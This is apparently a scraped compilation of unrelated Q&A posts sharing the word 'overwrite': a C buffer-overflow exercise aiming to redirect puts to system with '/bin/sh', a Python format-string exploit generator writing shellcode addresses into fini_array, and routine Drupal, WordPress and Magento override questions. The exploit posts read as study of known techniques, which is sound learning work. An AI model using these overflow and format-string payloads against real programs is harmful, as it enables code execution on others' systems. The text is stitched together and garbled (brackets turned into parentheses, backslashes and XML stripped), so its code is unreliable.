Buffer overflow – overwrite pointer with an address

struct record {
char name(24);
char * message;
};

int main() {
puts("GOT Overwrite");

// Create the struct record
struct record student;
strcpy(student.name, "Alice");
student.message = (char *) malloc(sizeof(char) * 24);
strcpy(student.message, "hello world");
printf("Message from %s: (%s)n", student.name, student.message);

// Read some user data
// Could leak the memory at student.message
read(0, student.name, 28);
printf("Message from %s: (%s)n", student.name, student.message);

// Overwrite the message
// Could allow arbitary write at student.message
read(0, student.message, 4);
printf("Message from %s: (%s)n", student.name, student.message);

// Print the name again
// The address of puts could have been changed to system
// and student.name could be "/bin/sh"
puts(student.name);
}

I want to overflow the student.name pointer and move an address to student.message. But the thing is that the read function prevents me from writing an address in the form of 'xefxbexadxde' in the student.message. How do I format / place the address in the student.message pointer after I have populated the student.name?

Thank you very much

8 – Overwrite Entity Form Handler

I'm trying to change an entity form handler. The & # 39; form & # 39; handler can be set using the EntityType :: setHandlerClass () method. However, this value is an array and I just want to overwrite a single element of the array.

The definition of entity handlers:

handlers = {
    "storage" = "DrupaluserUserStorage",
    "storage_schema" = "DrupaluserUserStorageSchema",
    "access" = "DrupaluserUserAccessControlHandler",
    "list_builder" = "DrupaluserUserListBuilder",
    "views_data" = "DrupaluserUserViewsData",
    "route_provider" = {
      "html" = "DrupaluserEntityUserRouteProvider",
    },
    "form" = {
      "default" = "DrupaluserProfileForm",
      "cancel" = "DrupaluserFormUserCancelForm",
      "register" = "DrupaluserRegisterForm"
    },
    "translation" = "DrupaluserProfileTranslationHandler"
  }

I'm trying to figure out how to override the form.register handler, but since the first argument to setEntityHandler () is a string, I can't figure out how to set a nested value.

Linux – How can I disable Relro to overwrite the fini_array element?

I am currently reading the book Hacking: The Art of Exploitation and there is a format string exploit example that tries to overwrite an address of the dtors
with the address of a shell code environment variable.
I work with Kali Linux 64-Bit and have already found out that there are no dtors and such
now I'm trying to overwrite the fini_array.
I have already checked that the exploit writes the correct address to the given address, but if I execute it with the address of fini_array, I get a SIGSEV.
After reading this, I think the problem is that I cannot overwrite fini_array with the partial relro.
This is the Python program that I use the Vuln program with:

import struct
import sys

num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0

if len(sys.argv) > 1:
    num = int(sys.argv(1), 0)
    if len(sys.argv) > 2:
        test_val = int(sys.argv(2), 0)
        if len(sys.argv) > 3:
            num1 = int(sys.argv(3), 0)# - num
            if len(sys.argv) > 4:
                num2 = int(sys.argv(4), 0)# - num1 - num
                if len(sys.argv) > 5:
                    num3 = int(sys.argv(5), 0)# - num2 - num1 - num

addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6


vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))

def pad(s):
    return s+"X"*(1024-len(s)-32)

exploit = ""
prev_val = 0
for val, addr in vals:
    if not val:
        continue
    val_here = val - prev_val
    prev_val = val
    exploit += "%{}x".format(val_here)
    if addr == test_val:
        exploit += "%132$hn"
    elif addr == addr1:
        exploit += "%133$hn"
    elif addr == addr2:
        exploit += "%134$hn"
    elif addr == addr3:
        exploit += "%135$hn"
exploit = pad(exploit)

exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)

print pad(exploit)

When I pass the address of the shellcode environment variable and the address of fini_array with it

objdump -s -j .fini_array ./vuln

I'm just getting a SegmentationFault.
Now my question is what workaround (possibly some gcc options) I could use to solve my problem.

Plugins – Overwrite the core function locate_template

I want to override the core WordPress locate_template () function.
I want the function to also search an additional plugin directory for a template file.
I don't see any filters in the function and I don't check whether the functions are available.
Maybe someone has a better solution for it.

What I'm trying to create is a grandson theme as a plugin, and I've worked it for regular theme files, but not for overriding the get_template_part () and locate_template () functions.

For later sharing, my website will look for the file in the child themes folder, if it's not there, will look for it in the plugins folder, and if it's not there, it will be in the parent theme and then in the original WordPress- Search file.
So I add an extra layer.

What is the best way to theming Views fields? Custom templates or overwrite output from the user interface?

I have some confusion when issuing topic views in Drupal, The Drupal version doesn't matter here, as the confusion is the best course of action to follow.

While addressing a view with fields, you can either create template files for each view like views-view-unformatted--view-name--block-name.html.twig or you can use that Rewrite Results option in the fields configuration as shown below in the screenshot.

Drupal8 views-field configuration

I want to know which is the best course of action and why.

Some of my points below (please correct me if I'm wrong):

  • Rewrite views The output is saved in the database. Accidental deletion of the database is therefore destructive.
  • Creating a template file ensures that people who are unfamiliar with views have no effect even if they accidentally change the code.
  • If you leave the code in Rewrite Results, you can easily access changes through the Views user interface.

Can anyone suggest the advantages and disadvantages of both methods and what should you watch out for?

8 – Change existing route – bypass / overwrite entity authorization

I added a custom access check to a JSON API endpoint so that only users who provide a token can perform POST / PATCH updates on a media endpoint. I followed this documentation to help change an existing route RouteSubscriber:alterRoutes() and a custom access check.

Everything works fine with my custom access control. I have a custom condition that either prohibits or allows access due to a condition:

public function access() {
   $valid = $this->validateToken($token);

   if ($valid) {
     $access = AccessResult::allowed()
   } else {
     $access = AccessResult::forbidden('The access token is invalid');
   }

   return $access;
}

If the user does not meet the relevant condition, my custom access check will deny access.

However, if the custom access check allows access, the default permissions for entities will continue to apply. I get the 403 Forbidden error message:

The current user is not permitted to upload a file for this field. The following permissions are required: 'administer media' OR 'create media' OR 'create (machine_name) media'

If I allow access, I want everyone who has provided the correct token to be able to create a specific entity (including anonymous users). How can I override the Entity Entitlement system so that the one who meets the condition has access to create the entity?

Can I dynamically add permission to this user to create this particular entity just for this request?

I am currently making a request for mine in my alterRoutes () function _custom_access, Do I also have to set an additional requirement for? _entity_access or _entity_create_access?

magento2 – how can I overwrite the widget.xml of a third party module?

My topic came with a number of modules that create widgets. I would like to customize one of the options of these widgets to add some additional configuration fields and then tailor their code to my needs.

I created a custom module so I could create a plugin or override the classes with presets, but I'm confused on how I can expand the widget.xml file to add my configuration options.

Is it even possible?

I use Magento 2.3.3

magento2.3 – Magento 2.3 – Overwrite the Swatches Helper

I am trying to override a function in the Helper of the Swatches module of Magento 2. The function is in the Data.php file. As some of you may know in certain versions of Magento 2, the text box values ​​are reset to the default admin value due to an error.

An update was published here: https://github.com/magento/magento2/pull/15960

I am trying to implement this update by overriding the function in Data.php by default.

Since the postage theme I used already overrides some other functions, I decided to add my override there.

app / code / Smartwave / Porto / etc / di.xml





    
        
            MagentoFrameworkViewElementTemplateContext
            MagentoFrameworkRegistry
        
    


    
        
            MagentoFrameworkViewElementTemplateContext
            MagentoCatalogHelperCategory
            MagentoCatalogModelIndexerCategoryFlatState
            MagentoThemeBlockHtmlTopmenu
        
    





As you can see, I added the setting on the last line.

app / code / Smartwave / Porto / Helper / Swatches / Data.php

namespace SmartwavePortoHelperSwatches;

class Data extends MagentoSwatchesHelperData
{

/**
 * @param array $fallbackValues
 * @param array $swatches
 * @return array
 */
public function addFallbackOptions(array $fallbackValues, array $swatches)
{
    $currentStoreId = $this->storeManager->getStore()->getId();
    foreach ($fallbackValues as $optionId => $optionsArray) {
        if (isset($optionsArray($currentStoreId)('type'), $swatches($optionId)('type'))
            && $swatches($optionId)('type') === $optionsArray($currentStoreId)('type')
        ) {
            $swatches($optionId) = $optionsArray($currentStoreId);
        } elseif (isset($optionsArray($currentStoreId))) {
            $swatches($optionId) = $optionsArray($currentStoreId);
        } elseif (isset($optionsArray(self::DEFAULT_STORE_ID))) {
            $swatches($optionId) = $optionsArray(self::DEFAULT_STORE_ID);
        }
    }

    return $swatches;
}

}

However, this doesn't seem to work. Can someone tell me why this is the case?

filters – How do I overwrite an include_once file with add_filter?

I want to customize a plugin that uses a file called html-vendor-order-page.php to define the style of the content:

include_once( apply_filters( 'wcpv_vendor_order_page_template', dirname( __FILE__ ) . '/views/html-vendor-order-page.php' ) );

I want to create my own html-vendor-order-page.php by changing this file and forcing the plugin to use this file with add_filter instead.

I thought to filter __FILE__ This is a defined constant that points to my file.

Is that possible?